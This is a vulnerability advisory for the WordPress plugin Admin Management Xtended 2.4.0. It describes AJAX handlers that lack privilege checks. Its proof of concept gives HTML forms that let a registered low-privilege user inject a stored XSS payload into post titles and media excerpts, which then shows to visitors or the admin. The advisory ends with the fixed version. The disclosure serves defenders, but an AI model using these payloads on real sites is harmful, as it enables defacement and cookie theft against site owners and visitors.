WordPress Admin Management Xtended 2.4.0 Privilege Escalation

2015.12.15
Credit: Kacper Szurek
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Admin Management Xtended 2.4.0 Privilege escalation # Date: 14-12-2015 # Software Link: https://wordpress.org/plugins/admin-management-xtended/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps 1. Description Inside almost all wp_ajax function there is no privilege check. File: admin-management-xtended\general-functions.php add_action( 'wp_ajax_ame_toggle_visibility', 'ame_toggle_visibility' ); add_action( 'wp_ajax_ame_set_date', 'ame_set_date' ); add_action( 'wp_ajax_ame_save_title', 'ame_save_title' ); add_action( 'wp_ajax_ame_save_slug', 'ame_save_slug' ); add_action( 'wp_ajax_ame_slug_edit', 'ame_slug_edit' ); add_action( 'wp_ajax_ame_save_order', 'ame_save_order' ); add_action( 'wp_ajax_ame_toggle_orderoptions', 'ame_toggle_orderoptions' ); add_action( 'wp_ajax_ame_toggle_showinvisposts', 'ame_toggle_showinvisposts' ); add_action( 'wp_ajax_ame_get_pageorder', 'ame_get_pageorder' ); add_action( 'wp_ajax_ame_ajax_save_categories', 'ame_ajax_save_categories' ); add_action( 'wp_ajax_ame_ajax_get_categories', 'ame_ajax_get_categories' ); add_action( 'wp_ajax_ame_ajax_set_commentstatus', 'ame_ajax_set_commentstatus' ); add_action( 'wp_ajax_ame_ajax_save_tags', 'ame_ajax_save_tags' ); add_action( 'wp_ajax_ame_ajax_toggle_imageset', 'ame_ajax_toggle_imageset' ); add_action( 'wp_ajax_ame_ajax_save_mediadesc', 'ame_ajax_save_mediadesc' ); add_action( 'wp_ajax_ame_author_edit', 'ame_author_edit' ); add_action( 'wp_ajax_ame_save_author', 'ame_save_author' ); add_action( 'wp_ajax_ame_toggle_excludestatus', 'ame_toggle_excludestatus' ); add_action( 'wp_ajax_ame_toggle_sticky', 'ame_toggle_sticky' ); http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html 2. Proof of Concept Login as regular user (created using wp-login.php?action=register). Then you can change any post title: <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_save_title"> Post id: <input type="text" name="category_id" value="1"> Post title: <input type="text" name="new_title" value="<script>alert(document.cookie);</script>"> <input type="submit" name="submit" value="Change"> </form> XSS will be visible on post page: http://wordpress-url/?p=1 Or change media excerpt: <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_ajax_save_mediadesc"> Post id: <input type="text" name="postid" value="1"> Excerpt: <input type="text" name="new_mediadesc" value="<script>alert(document.cookie);</script>"> <input type="submit" name="submit" value="Change"> </form> XSS will be visible for admin: http://wordpress-url/wp-admin/upload.php 3. Solution: Update to version 2.4.0.1

References:

http://security.szurek.pl/


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